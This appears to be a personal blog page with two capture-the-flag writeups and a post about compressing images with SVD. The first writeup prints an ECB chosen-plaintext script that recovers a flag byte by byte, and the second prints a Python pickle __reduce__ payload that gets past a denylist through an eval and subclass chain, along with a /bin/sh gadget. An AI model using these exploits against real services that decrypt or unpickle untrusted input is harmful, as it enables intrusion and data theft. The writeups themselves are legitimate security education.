# Length: 62, Nulls: 45  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4efc7da7e42471ba2ac67634d40e1d0cc29e3d36bcfd6a424f2183d3364592ef97a8fdd7ca48f5f00ec7a13c9a21d82292011df537473098ce4ffe0d8e12fcc0e1
# Length: 63, Nulls: 46  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4e0b82e0db38fd6d6f400e0e28b2e696b7714445f04927def76405cd0a83799f07a8ed402ad24d0e2f43d4d9361eb8284cebddbacaa25c33ec35562e026a0ee649dd1f9f706aeab9959486696f82f00fbf
# Length: 64, Nulls: 47  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e4121eeb2df9070dcfc8041744885dc16e1ee341ff8bc4f4f98cc57bcba342e2abb20430435b3c850611d77e503158b8b5df2095333941a65f2cd00810ce4902e
# Length: 65, Nulls: 48  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4eb5fe89806d3a8bef7f40a8d38040a707b465108a947c05f9b9f07304919b0e35ae4ca18d90d00ac21b52362d685c4c69f5c9838dcca6aad70f1c40b393583735
# Length: 66, Nulls: 49  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e66a65f13d2d0619cdeb702e071aeaae40d0321017f0a3245d56cd4e47707eb8c951820f6bfe340a33b1ef0acc273560f3bcf138a5fe72f3a9654bfd2582cb263
# Length: 67, Nulls: 50  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ee7638b5cf44cbfc3bca1be6a992e8c5bf67ef27d13d460fe1b2a25c14624bbff8428fab86c0e1210db0aadaa46ad5433ddd758c52e3c9b06994c30fc1f495201
# Length: 68, Nulls: 51  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e1d9b355f5ef369066d88e091197420f8fe9911f31b6694403e4a83e036b42b07eb061a39092dfe254b001e85a4cab2822f3b56b407fc4cc76021a0f971c285dd
# Length: 69, Nulls: 52  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e2392efb50f50465f4f591aad8b9df62f2cb3308c99119ba359d2bd13c52d4d22b1edc20249ceee0a7fcd73331bdc2f07016a3b098794591d2ed4446611da351c
# Length: 70, Nulls: 53  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4eaf1261b355b9b251f35bcd554e44bd9fad7f6b3171d5b639907f565909bcb8a555da1f080adf94bb541e715074d3c9460fed8443c92ddcb7112a31b587bc09f6
# Length: 71, Nulls: 54  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e4ebe06895f2ada42e195502338feb6fbf852be535ad9bc8c6822a9c27e25cd51f8bbee7b725ef98fc0cddf6e2b00a1adaff84a27b34909e39f9df32e1be07445
# Length: 72, Nulls: 55  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec1f1b2cfccf8c6c7080fb9ac19a73632e514acb44934277ffe1f7404211c6de1cab00e72a877a19d34bfe9aa7ca0cae9cc9febced4a7f8f49600039b689ca268
# Length: 73, Nulls: 56  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4eb71eca60aa2dfeff1e6613a39104e1a12c780cc8dab801a55b7d4595d5d7f8821123a6930dc611488a4e7c8e73c64e44000929ca29e9de5f4ed0e218edcf6e72
# Length: 74, Nulls: 57  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ed1b72c09e5e9cbeb44a858942a650f40e0330b5b75832d9ffa1d51bb0b734c3b5febb840292084f72ff04538589d31cc4881aa36bc592d9fa983ebd276d5d6b0
# Length: 75, Nulls: 58  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e9a0ebdeb3cd86378d06f25a958f354d20a08eb45f2bde041f49f3bd62691fce244d8e6bdacfbaf3873642eae7e091d0faf3884045818d3dc997dd26cfeceba0f
# Length: 76, Nulls: 59  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e48f07b78c4acd78dc84e084c412f726002fee4c70356e1e4f534bdf73d07ffb96096036d35155afd9cf2b3a3fd29fd417d49a7e7d1b962bd61a398837d6b7ab3
# Length: 77, Nulls: 60  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e1da941d1725ac973d57adadfb23e38f7684404d8f25b53759f007758304f19d95593abdb1affd72ca2eced5cd0f90124a9a3169f9334066e8da23c8aa3cca3d3
# Length: 78, Nulls: 61  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4efc7da7e42471ba2ac67634d40e1d0cc29e3d36bcfd6a424f2183d3364592ef97a8fdd7ca48f5f00ec7a13c9a21d82292011df537473098ce4ffe0d8e12fcc0e1
# Length: 79, Nulls: 62  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e0b82e0db38fd6d6f400e0e28b2e696b7714445f04927def76405cd0a83799f07a8ed402ad24d0e2f43d4d9361eb8284cebddbacaa25c33ec35562e026a0ee649dd1f9f706aeab9959486696f82f00fbf
# Length: 80, Nulls: 63  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e4121eeb2df9070dcfc8041744885dc16e1ee341ff8bc4f4f98cc57bcba342e2abb20430435b3c850611d77e503158b8b5df2095333941a65f2cd00810ce4902e
# Length: 81, Nulls: 64  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4eb5fe89806d3a8bef7f40a8d38040a707b465108a947c05f9b9f07304919b0e35ae4ca18d90d00ac21b52362d685c4c69f5c9838dcca6aad70f1c40b393583735
# Length: 82, Nulls: 65  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e66a65f13d2d0619cdeb702e071aeaae40d0321017f0a3245d56cd4e47707eb8c951820f6bfe340a33b1ef0acc273560f3bcf138a5fe72f3a9654bfd2582cb263
# Length: 83, Nulls: 66  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ee7638b5cf44cbfc3bca1be6a992e8c5bf67ef27d13d460fe1b2a25c14624bbff8428fab86c0e1210db0aadaa46ad5433ddd758c52e3c9b06994c30fc1f495201
# Length: 84, Nulls: 67  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e1d9b355f5ef369066d88e091197420f8fe9911f31b6694403e4a83e036b42b07eb061a39092dfe254b001e85a4cab2822f3b56b407fc4cc76021a0f971c285dd
# Length: 85, Nulls: 68  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e2392efb50f50465f4f591aad8b9df62f2cb3308c99119ba359d2bd13c52d4d22b1edc20249ceee0a7fcd73331bdc2f07016a3b098794591d2ed4446611da351c
# Length: 86, Nulls: 69  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4eaf1261b355b9b251f35bcd554e44bd9fad7f6b3171d5b639907f565909bcb8a555da1f080adf94bb541e715074d3c9460fed8443c92ddcb7112a31b587bc09f6
# Length: 87, Nulls: 70  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e4ebe06895f2ada42e195502338feb6fbf852be535ad9bc8c6822a9c27e25cd51f8bbee7b725ef98fc0cddf6e2b00a1adaff84a27b34909e39f9df32e1be07445
# Length: 88, Nulls: 71  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec1f1b2cfccf8c6c7080fb9ac19a73632e514acb44934277ffe1f7404211c6de1cab00e72a877a19d34bfe9aa7ca0cae9cc9febced4a7f8f49600039b689ca268
# Length: 89, Nulls: 72  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4eb71eca60aa2dfeff1e6613a39104e1a12c780cc8dab801a55b7d4595d5d7f8821123a6930dc611488a4e7c8e73c64e44000929ca29e9de5f4ed0e218edcf6e72
# Length: 90, Nulls: 73  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ed1b72c09e5e9cbeb44a858942a650f40e0330b5b75832d9ffa1d51bb0b734c3b5febb840292084f72ff04538589d31cc4881aa36bc592d9fa983ebd276d5d6b0
# Length: 91, Nulls: 74  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e9a0ebdeb3cd86378d06f25a958f354d20a08eb45f2bde041f49f3bd62691fce244d8e6bdacfbaf3873642eae7e091d0faf3884045818d3dc997dd26cfeceba0f
# Length: 92, Nulls: 75  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e48f07b78c4acd78dc84e084c412f726002fee4c70356e1e4f534bdf73d07ffb96096036d35155afd9cf2b3a3fd29fd417d49a7e7d1b962bd61a398837d6b7ab3
# Length: 93, Nulls: 76  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e1da941d1725ac973d57adadfb23e38f7684404d8f25b53759f007758304f19d95593abdb1affd72ca2eced5cd0f90124a9a3169f9334066e8da23c8aa3cca3d3
# Length: 94, Nulls: 77  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4efc7da7e42471ba2ac67634d40e1d0cc29e3d36bcfd6a424f2183d3364592ef97a8fdd7ca48f5f00ec7a13c9a21d82292011df537473098ce4ffe0d8e12fcc0e1
# Length: 95, Nulls: 78  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e0b82e0db38fd6d6f400e0e28b2e696b7714445f04927def76405cd0a83799f07a8ed402ad24d0e2f43d4d9361eb8284cebddbacaa25c33ec35562e026a0ee649dd1f9f706aeab9959486696f82f00fbf
# Length: 96, Nulls: 79  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e4121eeb2df9070dcfc8041744885dc16e1ee341ff8bc4f4f98cc57bcba342e2abb20430435b3c850611d77e503158b8b5df2095333941a65f2cd00810ce4902e
# Length: 97, Nulls: 80  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4eb5fe89806d3a8bef7f40a8d38040a707b465108a947c05f9b9f07304919b0e35ae4ca18d90d00ac21b52362d685c4c69f5c9838dcca6aad70f1c40b393583735
# Length: 98, Nulls: 81  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e66a65f13d2d0619cdeb702e071aeaae40d0321017f0a3245d56cd4e47707eb8c951820f6bfe340a33b1ef0acc273560f3bcf138a5fe72f3a9654bfd2582cb263
# Length: 99, Nulls: 82  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ee7638b5cf44cbfc3bca1be6a992e8c5bf67ef27d13d460fe1b2a25c14624bbff8428fab86c0e1210db0aadaa46ad5433ddd758c52e3c9b06994c30fc1f495201
# Length: 100, Nulls: 83 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e1d9b355f5ef369066d88e091197420f8fe9911f31b6694403e4a83e036b42b07eb061a39092dfe254b001e85a4cab2822f3b56b407fc4cc76021a0f971c285dd
# Length: 101, Nulls: 84 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e2392efb50f50465f4f591aad8b9df62f2cb3308c99119ba359d2bd13c52d4d22b1edc20249ceee0a7fcd73331bdc2f07016a3b098794591d2ed4446611da351c
# Length: 102, Nulls: 85 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4eaf1261b355b9b251f35bcd554e44bd9fad7f6b3171d5b639907f565909bcb8a555da1f080adf94bb541e715074d3c9460fed8443c92ddcb7112a31b587bc09f6
# Length: 103, Nulls: 86 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e4ebe06895f2ada42e195502338feb6fbf852be535ad9bc8c6822a9c27e25cd51f8bbee7b725ef98fc0cddf6e2b00a1adaff84a27b34909e39f9df32e1be07445
# Length: 104, Nulls: 87 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec1f1b2cfccf8c6c7080fb9ac19a73632e514acb44934277ffe1f7404211c6de1cab00e72a877a19d34bfe9aa7ca0cae9cc9febced4a7f8f49600039b689ca268
# Length: 105, Nulls: 88 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4eb71eca60aa2dfeff1e6613a39104e1a12c780cc8dab801a55b7d4595d5d7f8821123a6930dc611488a4e7c8e73c64e44000929ca29e9de5f4ed0e218edcf6e72
# Length: 106, Nulls: 89 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ed1b72c09e5e9cbeb44a858942a650f40e0330b5b75832d9ffa1d51bb0b734c3b5febb840292084f72ff04538589d31cc4881aa36bc592d9fa983ebd276d5d6b0
# Length: 107, Nulls: 90 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e9a0ebdeb3cd86378d06f25a958f354d20a08eb45f2bde041f49f3bd62691fce244d8e6bdacfbaf3873642eae7e091d0faf3884045818d3dc997dd26cfeceba0f
# Length: 108, Nulls: 91 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e48f07b78c4acd78dc84e084c412f726002fee4c70356e1e4f534bdf73d07ffb96096036d35155afd9cf2b3a3fd29fd417d49a7e7d1b962bd61a398837d6b7ab3
# Length: 109, Nulls: 92 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e1da941d1725ac973d57adadfb23e38f7684404d8f25b53759f007758304f19d95593abdb1affd72ca2eced5cd0f90124a9a3169f9334066e8da23c8aa3cca3d3
# Length: 110, Nulls: 93 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4efc7da7e42471ba2ac67634d40e1d0cc29e3d36bcfd6a424f2183d3364592ef97a8fdd7ca48f5f00ec7a13c9a21d82292011df537473098ce4ffe0d8e12fcc0e1
# Length: 111, Nulls: 94 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e0b82e0db38fd6d6f400e0e28b2e696b7714445f04927def76405cd0a83799f07a8ed402ad24d0e2f43d4d9361eb8284cebddbacaa25c33ec35562e026a0ee649dd1f9f706aeab9959486696f82f00fbf
# Length: 112, Nulls: 95 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e4121eeb2df9070dcfc8041744885dc16e1ee341ff8bc4f4f98cc57bcba342e2abb20430435b3c850611d77e503158b8b5df2095333941a65f2cd00810ce4902e
# Length: 113, Nulls: 96 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4eb5fe89806d3a8bef7f40a8d38040a707b465108a947c05f9b9f07304919b0e35ae4ca18d90d00ac21b52362d685c4c69f5c9838dcca6aad70f1c40b393583735
# Length: 114, Nulls: 97 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e66a65f13d2d0619cdeb702e071aeaae40d0321017f0a3245d56cd4e47707eb8c951820f6bfe340a33b1ef0acc273560f3bcf138a5fe72f3a9654bfd2582cb263
# Length: 115, Nulls: 98 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ee7638b5cf44cbfc3bca1be6a992e8c5bf67ef27d13d460fe1b2a25c14624bbff8428fab86c0e1210db0aadaa46ad5433ddd758c52e3c9b06994c30fc1f495201
# Length: 116, Nulls: 99 387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4ec6db5708e552a95dc626d83c633e2c4e1d9b355f5ef369066d88e091197420f8fe9911f31b6694403e4a83e036b42b07eb061a39092dfe254b001e85a4cab2822f3b56b407fc4cc76021a0f971c285dd


Server code:
#!/usr/bin/python
from Crypto.Cipher.AES import AESCipher
import SocketServer as ss
import signal
import base64

# running on nc l33tcrypt.vuln.icec.tf 6001

from secret import KEY, FLAG

PORT = 6001


def pad(text, bs):
    text = text + FLAG
    pad_num = (bs - len(text) % bs)
    return text + chr(pad_num) * pad_num


def recvline(req):
    buf = b""
    while not buf.endswith(b"\n"):
        buf += req.recv(1)
    return buf


class RequestHandler(ss.BaseRequestHandler):
    def handle(self):
        req = self.request

        signal.alarm(5)

        req.sendall("Welcome to l33tserver where all your encryption needs are served.\n")
        req.sendall("Send me something to encrypt:\n")
        data = recvline(req).strip()
        try:
            data = base64.b64decode(data)
        except:
            req.sendall("bad data\n")
            req.close()
            return
        if not data.startswith("l33tserver please"):
            req.sendall("You didnt say the magic word :(\n")
            req.close()
            return
        c = AESCipher(KEY).encrypt(pad(data, 16))
        req.sendall("Your l33tcrypted data:\n")
        req.sendall(base64.b64encode(c) + "\n")
        req.close()


class TCPServer(ss.ForkingMixIn, ss.TCPServer):
    pass


ss.TCPServer.allow_reuse_address = True
server = TCPServer(("0.0.0.0", PORT), RequestHandler)

print("Server listening on port %d" % PORT)
server.serve_forever()

Final Solution:
#!/usr/bin/python
import base64
from pwn import *
from functools import partial
from multiprocessing import Pool
import time
# find the length of the block

context.log_level = 30

def chunks(l, n):
 """return a list of successive n-sized chunks from l."""
 arr = []
 for i in range(0, len(l), n):
  arr.append(l[i:i+n])
 return arr

def send_msg(msg):
 conn = remote("l33tcrypt.vuln.icec.tf", 6001)
 conn.sendline(base64.b64encode(msg))
 conn.recvuntil('\n')
 conn.recvuntil('\n')
 conn.recvuntil('\n')

 data = conn.recvuntil('\n')
 return base64.b64decode(data).encode('hex')


def get_encoding(msg, block_num=2):
 start = "l33tserver please" 
 padding = '\x00'*15

 request = start + padding + msg
 response = send_msg(request)

 blocks = chunks(response,16*2) # 16 block size, *2 because hex representation

 my_block = blocks[block_num]
 return my_block

def return_encoding_with_msg(msg, block_num=2):
 # print 'getting encoding'
 try:
  enc = get_encoding(msg, block_num)
  # print 'got encoding! I\'m ' + msg[-1]
  return enc , msg
 except:
  print ':( having a nap and trying again'
  time.sleep(1)
  return return_encoding_with_msg(msg, block_num)


def get_next_letter(banana):
 """
 Give this function a string of 15 chars
 and it'll bruteforce to find the next char in 
 the flag
 """

 nulls = '\x00'*(15 - len(banana)%16)
 # 15 if we just started i.e we want to bruteforce the first character
 # 14 if we've got 1 so we want to 
 # "Need to get this block  goal_block

 # once we get the first block
 # we'll need to look at the next block over
 # so go back to sending 15 nulls
 # so that the 2nd to 16th characters are in the next block
 extra = int(len(banana)/16)
 goal_block = get_encoding(nulls, block_num=(2 + extra))
 attempts = []
 common = [ord(a) for a in chunks("_etoinsherdloETIONSHERDLO",1)] 
 less_common = [ord(a) for a in chunks("qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM",1) if a not in common] 
 rest = [a for a in range(0xff + 1) if a not in common + less_common]
 for x in common + less_common + rest:
  block = nulls + banana + chr(x)
  # e = get_encoding(block, 2+extra)
  # if e == goal_block:
  #  return chr(x)
  attempts.append(block)


  if len(attempts) == 32:
   # print attempts
   pool = Pool(processes=32) 
   res = pool.map(partial(return_encoding_with_msg, block_num=(2 + extra)), attempts)
   pool.close()                         
   pool.join() 
   for r, msg in res:
    # print r + msg[-1]
    if r == goal_block:
     print 'Success!'
     print msg
     return msg[-1]
   # print 'Trying another round of 10'
   attempts = []



 return '?'


flag = []
while True:
 # get the next letter
 nl = get_next_letter(''.join(flag))
 flag.append(nl)
 print ''.join(flag)

# All nulls causes this block
# c6db5708e552a95dc626d83c633e2c4e























Tuesday, 19 July 2016

CYSCA2015 Pickle challenge



In the lead up to Cysca 2016 I'm doing some of last year's challenges.

This is a writeup to https://github.com/CySCA/CySCA2015/blob/master/python_exploitation/files/mmmmm_pickles.py
It's pretty simple, the program will run 'pickle.loads(user_input)'
with some restrictions on what you can input.

denylist = ("system","exec","popen","print")

First of all I'd like to make it clear that I'm not a python guru, I just know enough to duct-tape bits together to get the job done

The solution is thus:


class RunBinSh(object):
  def __reduce__(self):
  return (eval, (("{}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('sys').stdout.write({}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').read({}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').open('./flag.txt', {}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').O_RDWR),10))"),))

d = pickle.dumps(RunBinSh())
print d # so I can copy and paste it
pickle.loads(d) # test that it works



I know that when pickle dumps a thing it runs the thing that you return in the function '__reduce__'
(as I said, I'm no expert on python)

so, with that gadget down pat, I'd really like to have something like

import os
class RunBinSh(object):
  def __reduce__(self):
  return (os.system, ("/bin/sh",))



but that aint going to go down with the 'denylist'
to get around this I run 'eval'
and I eval that giant long thing.

Is there a shorter way of doing this? yes definitely
Do I know how to do it? no
Do I need to know? Not for this challenge!

So, what's the giant eval thing?
Well I tried just using 'import os' but eval didn't like that, so I used a little trick (kinda from the previous challenge) to get the equivilent of 'import os' in eval

'{}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os')'

I googled around a bit to find that and had to tweak it a little to make it actually work. (chucked it in a for loop to find which value didn't make it crash. 59 was the winner)
Using that I can effectively do
sys.stdout.write(os.read(os.open('./flag.txt', os.O_RDWR), 10))

which will open the flag, read 10 characters and write it to stdout.
adjust to taste for real ctf environment and you're done












Sunday, 19 June 2016

Image Compression with Single value decomposition.

Image Compression with Single value decomposition.

I recently learnt about SVD (Singular Value Decomposition) and the example application our lecturer gave was image compression.
I thought this was pretty neat so I made my own in python.
(I was so close to doing it in C, but I couldn't be bothered)

I got one of my mandelbrot images and compressed that, so sit back and enjoy the soothing sights of highly compressed mandelbrot.

Original:



One singular value: (Highest compression)




Here's a few more, increasing by 1 value each time
















After having fun with compression, I decided to play around with changing the singular values a little and found some interesting results





I made the following 2 by only taking every second value of the decomposition:


This is my favourite :)